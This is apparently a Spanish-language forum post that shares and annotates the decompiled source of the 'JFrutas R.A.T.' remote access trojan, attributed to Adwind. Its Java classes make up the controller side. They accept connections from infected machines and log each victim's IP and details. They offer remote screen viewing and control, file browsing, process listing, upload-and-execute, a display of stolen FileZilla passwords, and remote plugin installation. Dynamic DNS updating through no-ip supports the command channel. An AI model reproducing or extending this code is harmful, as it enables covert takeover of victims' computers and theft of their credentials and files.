dyejecuta.titulo=Descargar y Ejecutar
dyejecuta.enviar=Enviar
infowind.titulo=Informaci\u00f3n detallada
infowind.cuerpo=Esperando datos...
cr.pagina=P\u00e1gina:
cr.puerto=Puerto:
cr.hilos=Hilos:
cr.tiempo=Tiempo (s):
cr.enviar=Enviar
cdescarga.titulo=Centro de Descarga
cdescarga.descarga=Abrir Carpetas de descarga
dsingle.descargado=Descargado:
dsingle.total=Total:
dsingle.abrir=Abrir
dsingle.cerrar=Cerrar
dsingle.cancelar=Cancelar
enviarfile.titulo=Envio de archivos a la PC remota
enviarfile.buscar=Buscar archivo
enviarfile.nombre=Nombre tmp:
enviarfile.envyejecuta=Enviar
enviarfile.bufer=Tama\u00f1o del Buffer (kb)
fmanager.titulo=Administrador de Archivos
fmanager.discos=Listar Discos
fmanager.listar=Listar
fmanager.carpeta=Carpetas:
fmanager.tamano=Tama\u00f1o (bytes)
fmanager.nombre=Nombre
fmanager.tipo=Tipo
fmanager.tamanoL=Tama\u00f1o (kb)
fmanager.archivo=Archivos (s):
mensajes.titulo=Mensajes Falsos
------------------------------------VEAMOS LA 3RA LIBRERIA DE CLASES-------------------------------
META-INF
MANIFEST.MF
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.4
X-COMMENT: Main-Class will be added automatically by build
Class-Path: lib/JTattoo.jar
Created-By: 1.7.0_05-b06 (Oracle Corporation)
Main-Class: cliente.Splash
-------------------------------------------4TA LIBRERIA DE CLASES------------------------------------------
BANDERAS
Aqui se encuentran los archivos GIF con la inicial de cada país (PE.gif, AR.gif, etc), lo que se puede conseguir en librerias online.
-------------------------------------------5TA LIBRERIA DE CLASES------------------------------------------
opciones

Archivo1.java
package opciones;

import java.io.Serializable;

public class Archivo1 implements Serializable {

   private String path;
   private String pathParent;
   private String nombre;
   private long length;
   private boolean carpeta;
   private long fecha;
   private boolean hidden;


   public String getPath() {
      return this.path;
   }

   public void setPath(String path) {
      this.path = path;
   }

   public String getPathParent() {
      return this.pathParent;
   }

   public void setPathParent(String pathParent) {
      this.pathParent = pathParent;
   }

   public String getNombre() {
      return this.nombre;
   }

   public void setNombre(String nombre) {
      this.nombre = nombre;
   }

   public long getLength() {
      return this.length;
   }

   public void setLength(long length) {
      this.length = length;
   }

   public boolean isCarpeta() {
      return this.carpeta;
   }

   public void setCarpeta(boolean carpeta) {
      this.carpeta = carpeta;
   }

   public long getFecha() {
      return this.fecha;
   }

   public void setFecha(long fecha) {
      this.fecha = fecha;
   }

   public boolean isHidden() {
      return this.hidden;
   }

   public void setHidden(boolean hidden) {
      this.hidden = hidden;
   }

   public Archivo1() {}

   public Archivo1(String path, String pathParent, String nombre, long length, boolean carpeta, long fecha, boolean hidden) {
      this.path = path;
      this.pathParent = pathParent;
      this.nombre = nombre;
      this.length = length;
      this.carpeta = carpeta;
      this.fecha = fecha;
      this.hidden = hidden;
   }
}
OrdenCaptura.java
package opciones;

import java.awt.Point;
import java.io.Serializable;

public class OrdenCaptura implements Serializable {

   private int delay;
   private int escala;
   private float calidad;
   private int tipo;
   private Point punto;
   private int tipoButton;
   private boolean isMouseActivado;
   private boolean isTeclado;
   private int caracter;
   private int count;


   public float getCalidad() {
      return this.calidad;
   }

   public void setCalidad(float calidad) {
      this.calidad = calidad;
   }

   public int getCount() {
      return this.count;
   }

   public void setCount(int count) {
      this.count = count;
   }

   public boolean isIsTeclado() {
      return this.isTeclado;
   }

   public void setIsTeclado(boolean isTeclado) {
      this.isTeclado = isTeclado;
   }

   public int getCaracter() {
      return this.caracter;
   }

   public void setCaracter(int caracter) {
      this.caracter = caracter;
   }

   public int getDelay() {
      return this.delay;
   }

   public void setDelay(int delay) {
      this.delay = delay;
   }

   public int getEscala() {
      return this.escala;
   }

   public void setEscala(int escala) {
      this.escala = escala;
   }

   public int getTipo() {
      return this.tipo;
   }

   public void setTipo(int tipo) {
      this.tipo = tipo;
   }

   public Point getPunto() {
      return this.punto;
   }

   public void setPunto(Point punto) {
      this.punto = punto;
   }

   public int getTipoButton() {
      return this.tipoButton;
   }

   public void setTipoButton(int tipoButton) {
      this.tipoButton = tipoButton;
   }

   public boolean isIsMouseActivado() {
      return this.isMouseActivado;
   }

   public void setIsMouseActivado(boolean isMouseActivado) {
      this.isMouseActivado = isMouseActivado;
   }

}
Archivo.java
package opciones;

import java.io.Serializable;

public class Archivo implements Serializable {

   private String pathParent;
   private String nombre;
   private long length;
   private boolean carpeta;
   private long fecha;


   public String getPathParent() {
      return this.pathParent;
   }

   public void setPathParent(String pathParent) {
      this.pathParent = pathParent;
   }

   public String getNombre() {
      return this.nombre;
   }

   public void setNombre(String nombre) {
      this.nombre = nombre;
   }

   public long getLength() {
      return this.length;
   }

   public void setLength(long length) {
      this.length = length;
   }

   public boolean isCarpeta() {
      return this.carpeta;
   }

   public void setCarpeta(boolean carpeta) {
      this.carpeta = carpeta;
   }

   public long getFecha() {
      return this.fecha;
   }

   public void setFecha(long fecha) {
      this.fecha = fecha;
   }

   public String toString() {
      return this.nombre;
   }
}
-------------------------------------------6TA LIBRERIA DE CLASES------------------------------------------
La libreria RECURSOS contiene imágenes que se usaran en los distintos iconos del programa. tabién se les proveera al final, pero les dejo una imagen de su arquitectura

-------------------------------------------7MA LIBRERIA DE CLASES-----------------------------------------

plugins aquí están las extensiones o componentes del programa
InstaladorPluginRemoto.java
Como vemos por el peso no contiene absolutamente NADA.
FrutitaCliente.java
package plugins;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public interface FrutitaCliente {

   String getID();

   String getNombre();

   String getAutor();

   String getVersion();

   void inicia(ObjectInputStream var1, ObjectOutputStream var2);
}
FrutitaServer.java
package plugins;


public interface FrutitaServer {

   String getid();

   void Inicia(String var1, int var2);
}
AdminPlugin.java
0Bytes

ModificadorClassPath.java
package plugins;

import java.io.File;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ModificadorClassPath {

   private static final String METODO_ADD_URL = "addURL";
   private static final Class[] PARAMETRO_METODO = new Class[]{URL.class};
   private final URLClassLoader loader = (URLClassLoader)ClassLoader.getSystemClassLoader();
   private final Method metodoAdd;


   public ModificadorClassPath() throws NoSuchMethodException {
      this.metodoAdd = URLClassLoader.class.getDeclaredMethod("addURL", PARAMETRO_METODO);
      this.metodoAdd.setAccessible(true);
   }

   public URL[] getURLs() {
      return this.loader.getURLs();
   }

   public void addURL(URL url) {
      if(url != null) {
         try {
            this.metodoAdd.invoke(this.loader, new Object[]{url});
         } catch (Exception var3) {
            System.err.println("Excepcion al guardar URL: " + var3.getLocalizedMessage());
         }
      }

   }

   public void addURLs(URL[] urls) {
      if(urls != null) {
         URL[] arr$ = urls;
         int len$ = urls.length;

         for(int i$ = 0; i$ < len$; ++i$) {
            URL url = arr$[i$];
            this.addURL(url);
         }
      }

   }

   public void addArchivo(File archivo) throws MalformedURLException {
      if(archivo != null) {
         this.addURL(archivo.toURI().toURL());
      }

   }

   public void addArchivo(String nombreArchivo) throws MalformedURLException {
      this.addArchivo(new File(nombreArchivo));
   }

}
CargadorPlugins.java
0Bytes

-------------------------------------------8VA LIBRERIA DE CLASES-----------------------------------------

cliente
Escucha2.java

package cliente;

import cliente.CapturaPantalla;
import cliente.DetallesWindows;
import cliente.DownloadCenter;
import cliente.DownloadSingle;
import cliente.EnviarFile;
import cliente.FileManager;
import cliente.FrutaManager;
import cliente.PassGUI;
import cliente.Procesos;
import java.awt.Component;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JInternalFrame;
import javax.swing.text.AttributeSet;
import javax.swing.text.BadLocationException;
import plugins.AdminPlugin;
import plugins.FrutitaCliente;
import plugins.InstaladorPluginRemoto;

public class Escucha2 extends Thread {

   public static FrutaManager frutamanager;
   public static HashMap USUARIOS = new HashMap();
   public static boolean CONECTADO = true;
   private ServerSocket escuchad;
   private Socket socket;
   private ArrayList lista = new ArrayList();


   public Escucha2(int puerto, int cola, FrutaManager fruta) throws IOException {
      this.escuchad = new ServerSocket(puerto, cola);
      frutamanager = fruta;
      System.out.println("Iniciando Servidor por primera vez en el puerto: " + puerto);
      CONECTADO = true;
   }

   public void run() {
      do {
         try {
            this.socket = this.escuchad.accept();
            ObjectInputStream ex = new ObjectInputStream(this.socket.getInputStream());
            ObjectOutputStream out = new ObjectOutputStream(this.socket.getOutputStream());
            int i = ex.readInt();
            switch(i) {
            case 1:
               EnviarFile m = new EnviarFile(out, frutamanager.idioma);
               m.setVisible(true);
               m.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(m, 0);
               this.lista.add(m);
               break;
            case 2:
               CapturaPantalla mm = new CapturaPantalla(ex, out, frutamanager.idioma);
               (new Thread(mm)).start();
               mm.setVisible(true);
               mm.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(mm, 0);
               this.lista.add(mm);
               break;
            case 3:
               FileManager mmm = new FileManager(ex, out);
               (new Thread(mmm)).start();
               mmm.setVisible(true);
               mmm.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(mmm, 0);
               break;
            case 4:
               PassGUI p = new PassGUI(ex, out);
               (new Thread(p)).start();
               p.setVisible(true);
               p.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(p, 0);
               break;
            case 5:
               Procesos pp = new Procesos(ex, out);
               (new Thread(pp)).start();
               pp.setVisible(true);
               pp.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(pp, 0);
               break;
            case 6:
               DownloadSingle ds = new DownloadSingle(ex);
               DownloadCenter.jTextPane1.setCaretPosition(DownloadCenter.jTextPane1.getDocument().getLength());
               DownloadCenter.jTextPane1.insertComponent(ds);

               try {
                  DownloadCenter.jTextPane1.getDocument().insertString(DownloadCenter.jTextPane1.getDocument().getLength(), "\n", (AttributeSet)null);
               } catch (BadLocationException var15) {
                  Logger.getLogger(Escucha2.class.getName()).log(Level.SEVERE, (String)null, var15);
               }

               (new Thread(ds)).start();
               break;
            case 7:
               DetallesWindows de = new DetallesWindows(ex);
               (new Thread(de)).start();
               de.setVisible(true);
               de.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(de, 0);
               break;
            case 8:
               String id = ex.readUTF();
               FrutitaCliente f = (FrutitaCliente)AdminPlugin.plugins.get(id);
               Component c = (Component)f;
               if(c instanceof JInternalFrame) {
                  System.out.println("true");
                  JInternalFrame ins1 = (JInternalFrame)f;
                  frutamanager.jdeskTopPanel1.add(ins1, 0);
               }

               f.inicia(ex, out);
               break;
            case 9:
               InstaladorPluginRemoto ins = new InstaladorPluginRemoto(out, ex);
               ins.setVisible(true);
               ins.setLocation(100, 100);
               frutamanager.jdeskTopPanel1.add(ins, 0);
               (new Thread(ins)).start();
            }
         } catch (IOException var16) {
            System.out.println("Fallo al cerrar");
         }
      } while(CONECTADO);

   }

   public void stopPara() {
      CONECTADO = false;

      try {
         this.escuchad.close();
         Object[] ex = this.lista.toArray();
         int len$ = ex.length;

         for(int i$ = 0; i$ < len$; ++i$) {
            Object m = ex[i$];
            if(m != null) {
               if(m instanceof CapturaPantalla) {
                  CapturaPantalla t = (CapturaPantalla)m;
                  t.conetado = false;
               }

               if(m instanceof EnviarFile) {
                  EnviarFile var7 = (EnviarFile)m;
                  var7.Cierra();
               }
            }
         }
      } catch (IOException var6) {
         System.out.println("Error en: StopPara");
      }

   }

}
Usuario.java
package cliente;

import cliente.Escucha;
import cliente.FrutaManager;
import cliente.PassFileZilla;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Usuario extends Thread {

   private boolean status = false;
   private FrutaManager fruta;
   private OutputStream salida;
   private InputStream entrada;
   private Socket socket;
   private String dentificador;
   private DataOutputStream salsocket;


   public Usuario(Socket socket, FrutaManager frut) {
      try {
         this.fruta = frut;
         this.socket = socket;
         this.entrada = this.socket.getInputStream();
         this.salida = this.socket.getOutputStream();
         this.salsocket = new DataOutputStream(this.salida);
      } catch (IOException var4) {
         System.out.println(var4.getMessage());
         this.status = false;
      }

   }

   public Socket getSock() {
      return this.socket;
   }

   public void sendComando(int i) {
      try {
         this.salsocket.writeInt(i);
      } catch (IOException var3) {
         System.out.println("Error enviando comando" + i);
      }

   }

   public void sendComando(int i, String cmd) {
      try {
         this.salsocket.writeInt(i);
         this.salsocket.writeUTF(cmd);
         System.out.println("El mensaje consumio: " + this.salsocket.size() + " bytes");
      } catch (IOException var4) {
         System.out.println("Error enviando comando " + i + " texto" + cmd);
      }

   }

   public String getIdentificador() {
      return this.dentificador;
   }

   public boolean isConectado() {
      DataInputStream leepass = new DataInputStream(this.entrada);

      try {
         String ex = leepass.readUTF();
         System.out.println("pass recibida:" + ex);
         if(ex.equalsIgnoreCase(this.fruta.passwordGlobal)) {
            this.salsocket.writeUTF("SI");
            if(leepass.readUTF().equalsIgnoreCase("OK")) {
               this.status = true;
            }
         } else {
            this.salsocket.writeUTF("NO");
         }
      } catch (IOException var3) {
         System.out.println(var3.getMessage());
      }

      return this.status;
   }

   public void agregarAtABLA() {
      this.fruta.ModificaTabla("", this.getInfoInicial(), false);
   }

   private String[] getInfoInicial() {
      String[] datoss = new String[8];

      try {
         DataInputStream ex = new DataInputStream(this.entrada);
         String tmp = ex.readUTF();
         String[] datitos = tmp.split("\\?");
         System.out.println(datitos.length);
         datoss[0] = datitos[0];
         datoss[1] = datitos[1];
         Escucha.USUARIOS.put(datoss[1], this);
         this.dentificador = datitos[1];
         datoss[2] = this.socket.getInetAddress().getHostAddress();
         datoss[3] = datitos[2];
         datoss[4] = datitos[3];
         datoss[5] = datitos[4];
         datoss[6] = datitos[5];
         if(datitos.length == 6) {
            return datoss;
         }

         datoss[7] = datitos[6];
      } catch (IOException var5) {
         Logger.getLogger(Usuario.class.getName()).log(Level.SEVERE, (String)null, var5);
      }

      return datoss;
   }

   public void CierraConexion() {
      try {
         this.salsocket.close();
         this.entrada.close();
         this.salida.close();
         this.socket.close();
      } catch (IOException var2) {
         System.out.println("Error cerrando el socket");
      }

   }

   public void run() {
      DataInputStream entra = new DataInputStream(this.entrada);

      try {
         while(true) {
            while(true) {
               int i = entra.readInt();
               switch(i) {
               case 1:
                  String ex = entra.readUTF();
                  PassFileZilla m = new PassFileZilla(this, ex);
                  m.setVisible(true);
                  m.setLocation(100, 100);
                  this.fruta.jdeskTopPanel1.add(m, 0);
               case 2:
               }
            }
         }
      } catch (IOException var5) {
         System.out.println("Hubo error en la conexion yaestablecida");
         this.fruta.ModificaTabla(this.dentificador, (String[])null, false);
      }
   }
}
Escucha.java
package cliente;

import Extras.Sonid;
import cliente.FrutaManager;
import cliente.Usuario;
import cliente.popupBarra;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.HashMap;

public class Escucha extends Thread {

   public static FrutaManager frutamanager;
   public static HashMap USUARIOS = new HashMap();
   public static boolean CONECTADO = true;
   private ServerSocket escuchad;
   private Socket socket;


   public static synchronized Usuario listGet(String id) {
      return (Usuario)USUARIOS.get(id);
   }

   public Escucha(int puerto, int cola, FrutaManager fruta) throws IOException {
      this.escuchad = new ServerSocket(puerto, cola);
      frutamanager = fruta;
      System.out.println("Iniciando Servidor por primera vez en el puerto: " + puerto);
      CONECTADO = true;
   }

   public void run() {
      do {
         try {
            this.socket = this.escuchad.accept();
            Usuario ex = new Usuario(this.socket, frutamanager);
            System.out.println("REcibi una conexion");
            if(ex.isConectado()) {
               ex.agregarAtABLA();
               USUARIOS.put(ex.getIdentificador(), ex);
               ex.start();
               (new Sonid()).start();
               popupBarra p = new popupBarra(frutamanager, false);
               p.ip.setText(ex.getIdentificador());
               p.ip1.setText(ex.getSock().getInetAddress().getHostAddress());
               p.setVisible(true);
            }
         } catch (IOException var3) {
            System.out.println("Cerre conexion");
         }
      } while(CONECTADO);

   }

   public boolean isListen() {
      return CONECTADO;
   }

   public void stopPara() {
      CONECTADO = false;

      try {
         this.escuchad.close();
      } catch (IOException var2) {
         System.out.println("Error en: StopPara");
      }

   }

}
SoporteLenguaje.java
package cliente;

import java.util.ResourceBundle;

public interface SoporteLenguaje {

   void changeLenguage(ResourceBundle var1);
}
PassFileZilla.java
package cliente;

import cliente.Usuario;
import java.awt.Font;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import javax.swing.GroupLayout;
import javax.swing.JInternalFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.GroupLayout.Alignment;

public class PassFileZilla extends JInternalFrame {

   private Usuario user;
   private DataOutputStream sal;
   private DataInputStream ent;
   private JScrollPane jScrollPane1;
   private JTextArea jTextArea1;


   public PassFileZilla(Usuario us, String pass) {
      this.initComponents();
      this.user = us;
      this.setTitle(this.getTitle() + this.user.getIdentificador());
      this.jTextArea1.setText(pass);
   }

   private void initComponents() {
      this.jScrollPane1 = new JScrollPane();
      this.jTextArea1 = new JTextArea();
      this.setClosable(true);
      this.setIconifiable(true);
      this.setResizable(true);
      this.setTitle("Contraseñas: ");
      this.jTextArea1.setColumns(20);
      this.jTextArea1.setFont(new Font("Times New Roman", 1, 14));
      this.jTextArea1.setRows(5);
      this.jScrollPane1.setViewportView(this.jTextArea1);
      GroupLayout layout = new GroupLayout(this.getContentPane());
      this.getContentPane().setLayout(layout);
      layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addGroup(Alignment.TRAILING, layout.createSequentialGroup().addGap(0, 0, 0).addComponent(this.jScrollPane1, -1, 321, 32767)));
      layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 210, 32767));
      this.pack();
   }
}
NoIpService.java

package cliente;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.regex.Pattern;

public class NoIpService {

   private String user;
   private String pass;


   public NoIpService(String user, String pass) {
      this.user = user;
      this.pass = pass;
   }

   public String[] getDNS() {
      String[] DNS = null;

      try {
         HttpURLConnection ex = (HttpURLConnection)(new URL("http://dynupdate.no-ip.com/list-hosts.php?email=" + this.user + "&pass=" + this.pass)).openConnection();
         BufferedReader br = new BufferedReader(new InputStreamReader(ex.getInputStream()));

         String t;
         for(t = ""; br.ready(); t = br.readLine()) {
            ;
         }

         if(t.contains("=")) {
            return null;
         } else {
            t = t.replace("#,", "");
            DNS = t.split(Pattern.quote("|"));
            return DNS;
         }
      } catch (IOException var5) {
         return DNS;
      }
   }

   public String actualiza(String DNS, String ip) {
      String texto = "Ocurrio un error";
      String URL = "http://dynupdate.no-ip.com/dns?username=" + this.user + "&password=" + this.pass + "&hostname=" + DNS;
      if(!ip.equals("")) {
         URL = URL + "&ip=" + ip;
      }

      try {
         HttpURLConnection ex = (HttpURLConnection)(new URL(URL)).openConnection();
         BufferedReader br = new BufferedReader(new InputStreamReader(ex.getInputStream()));
         String resultado = br.readLine();
         ex.disconnect();
         String[] dato = resultado.split(":");
         int valor = Integer.parseInt(dato[1]);
         switch(valor) {
         case 0:
            texto = "Sin cambios";
            break;
         case 1:
            texto = "Actualizado";
         }
      } catch (Exception var10) {
         System.out.println(var10.getMessage());
      }

      return texto;
   }
}
DetallesWindows.java
package cliente;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ResourceBundle;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.GroupLayout;
import javax.swing.ImageIcon;
import javax.swing.JInternalFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.GroupLayout.Alignment;

public class DetallesWindows extends JInternalFrame implements Runnable {

   private ObjectInputStream in;
   private JScrollPane jScrollPane1;
   private JTextArea jTextArea1;


   public DetallesWindows(ObjectInputStream in) {
      this.initComponents();
      this.in = in;
   }

   private void initComponents() {
      this.jScrollPane1 = new JScrollPane();
      this.jTextArea1 = new JTextArea();
      this.setClosable(true);
      this.setIconifiable(true);
      this.setMaximizable(true);
      this.setResizable(true);
      ResourceBundle bundle = ResourceBundle.getBundle("idiomas/Idioma");
      this.setTitle(bundle.getString("infowind.titulo"));
      this.setFrameIcon(new ImageIcon(this.getClass().getResource("/resources/windetails.png")));
      this.jTextArea1.setColumns(20);
      this.jTextArea1.setRows(5);
      this.jTextArea1.setText(bundle.getString("infowind.cuerpo"));
      this.jScrollPane1.setViewportView(this.jTextArea1);
      GroupLayout layout = new GroupLayout(this.getContentPane());
      this.getContentPane().setLayout(layout);
      layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 596, 32767));
      layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 290, 32767));
      this.pack();
   }

   public void run() {
      try {
         String ex = this.in.readUTF();
         this.jTextArea1.setText(ex);
      } catch (IOException var2) {
         Logger.getLogger(DetallesWindows.class.getName()).log(Level.SEVERE, (String)null, var2);
      }

   }
}

Acerca.java
package cliente;

import cliente.SoporteLenguaje;
import java.awt.Color;
import java.awt.Font;
import java.util.ResourceBundle;
import javax.swing.GroupLayout;
import javax.swing.ImageIcon;
import javax.swing.JInternalFrame;
import javax.swing.JLabel;
import javax.swing.JTextField;
import javax.swing.GroupLayout.Alignment;
import javax.swing.LayoutStyle.ComponentPlacement;

public final class Acerca extends JInternalFrame implements SoporteLenguaje {

   private JLabel jLabel1;
   private JLabel jLabel2;
   private JLabel jLabel4;
   private JLabel jLabel5;
   private JLabel jLabel6;
   private JTextField jTextField1;
   private JTextField jTextField2;
   private JTextField jTextField3;


   public Acerca(ResourceBundle rb) {
      this.initComponents();
      this.changeLenguage(rb);
   }

   private void initComponents() {
      this.jLabel1 = new JLabel();
      this.jLabel4 = new JLabel();
      this.jTextField1 = new JTextField();
      this.jLabel5 = new JLabel();
      this.jTextField2 = new JTextField();
      this.jLabel6 = new JLabel();
      this.jTextField3 = new JTextField();
      this.jLabel2 = new JLabel();
      this.setClosable(true);
      this.setTitle("Acerca");
      this.setToolTipText("");
      this.setFont(new Font("Andalus", 0, 10));
      this.setFrameIcon(new ImageIcon(this.getClass().getResource("/resources/autor.png")));
      this.jLabel1.setFont(new Font("Times New Roman", 1, 24));
      this.jLabel1.setForeground(new Color(204, 102, 0));
      this.jLabel1.setHorizontalAlignment(0);
      this.jLabel1.setText("JFrutas R.A.T.");
      this.jLabel4.setFont(new Font("Angelina", 1, 18));
      this.jLabel4.setForeground(new Color(0, 102, 51));
      this.jLabel4.setHorizontalAlignment(0);
      ResourceBundle bundle = ResourceBundle.getBundle("idiomas/Idioma");
      this.jLabel4.setText(bundle.getString("acerca.autor"));
      this.jTextField1.setEditable(false);
      this.jTextField1.setBackground(new Color(255, 255, 153));
      this.jTextField1.setFont(new Font("Times New Roman", 1, 18));
      this.jTextField1.setForeground(new Color(0, 102, 51));
      this.jTextField1.setHorizontalAlignment(0);
      this.jTextField1.setText("Adwind");
      this.jLabel5.setFont(new Font("Angelina", 1, 18));
      this.jLabel5.setForeground(new Color(0, 102, 51));
      this.jLabel5.setHorizontalAlignment(0);
      this.jLabel5.setText(bundle.getString("acerca.pagina"));
      this.jTextField2.setEditable(false);
      this.jTextField2.setBackground(new Color(255, 255, 153));
      this.jTextField2.setFont(new Font("Times New Roman", 1, 18));
      this.jTextField2.setForeground(new Color(0, 102, 51));
      this.jTextField2.setHorizontalAlignment(0);
      this.jTextField2.setText("http://adwindsoft.x10.mx");
      this.jLabel6.setFont(new Font("Angelina", 1, 18));
      this.jLabel6.setForeground(new Color(0, 102, 51));
      this.jLabel6.setHorizontalAlignment(0);
      this.jLabel6.setText(bundle.getString("acerca.version"));
      this.jTextField3.setEditable(false);
      this.jTextField3.setBackground(new Color(255, 255, 153));
      this.jTextField3.setFont(new Font("Times New Roman", 1, 18));
      this.jTextField3.setForeground(new Color(0, 102, 51));
      this.jTextField3.setHorizontalAlignment(0);
      this.jTextField3.setText("1.0");
      this.jLabel2.setIcon(new ImageIcon(this.getClass().getResource("/resources/site_logo.gif.png")));
      GroupLayout layout = new GroupLayout(this.getContentPane());
      this.getContentPane().setLayout(layout);
      layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jLabel1, -1, -1, 32767).addComponent(this.jLabel5, -1, -1, 32767).addComponent(this.jLabel4, Alignment.TRAILING, -1, -1, 32767).addComponent(this.jTextField1).addComponent(this.jTextField2, -1, 517, 32767).addComponent(this.jLabel6, -1, -1, 32767).addComponent(this.jTextField3).addComponent(this.jLabel2, -1, -1, 32767));
      layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addGroup(Alignment.TRAILING, layout.createSequentialGroup().addComponent(this.jLabel2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel1, -2, 22, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel4).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField1, -2, -1, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel5).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField2, -2, -1, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel6).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField3, -2, -1, -2).addContainerGap(-1, 32767)));
      this.pack();
   }

   public void changeLenguage(ResourceBundle rb) {
      this.setTitle(rb.getString("acerca.titulo"));
      this.jLabel4.setText(rb.getString("acerca.autor"));
      this.jLabel5.setText(rb.getString("acerca.pagina"));
      this.jLabel6.setText(rb.getString("acerca.version"));
   }
}
--------------------------------------------------------------------------------------------------------------------------
EL PROYECTO CONTIENE CLASES PRINCIPALES QUE VAN COMO LA FOTO.
=======================================================================

WindowsPreference.java
public class WindowsPreference {

}
mmmm.java
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class mmmm {

   public mmmm() {
      try {
         SecretKeyFactory ex = SecretKeyFactory.getInstance("DES");
         DESKeySpec kspec = new DESKeySpec("asdCasdasdontrasenasdasdasdaa".getBytes());
         SecretKey ks = ex.generateSecret(kspec);
         Cipher c = Cipher.getInstance("DES");
         c.init(2, ks);
         FileInputStream in = new FileInputStream("textoenc.txt");
         byte[] buf = new byte[1024];
         ByteArrayOutputStream out = new ByteArrayOutputStream();

         int i;
         byte[] bufencriptado;
         while((i = in.read(buf)) > -1) {
            bufencriptado = c.update(buf, 0, i);
            out.write(bufencriptado);
         }

         bufencriptado = c.doFinal();
         out.write(bufencriptado);
         out.close();
         FileOutputStream tmp = new FileOutputStream("textodes.txt");
         tmp.write(out.toByteArray());
         tmp.close();
         System.out.println(new String(out.toByteArray()));
      } catch (Exception var11) {
         Logger.getLogger(mmmm.class.getName()).log(Level.SEVERE, (String)null, var11);
      }

   }

   public static void main(String[] args) {
      new mmmm();
   }
}
WindowsStartupServices.java

Misc.java

Screenshot.java

MD5.java

CrazyKeyboard.java

mouseLoco.java

lma.java

WindowsStartupService.java

LinuxStartup.java

QuickLZ.java

procesos.java

FileUploader.java

TecladoLoco.java

RegistryUtils.java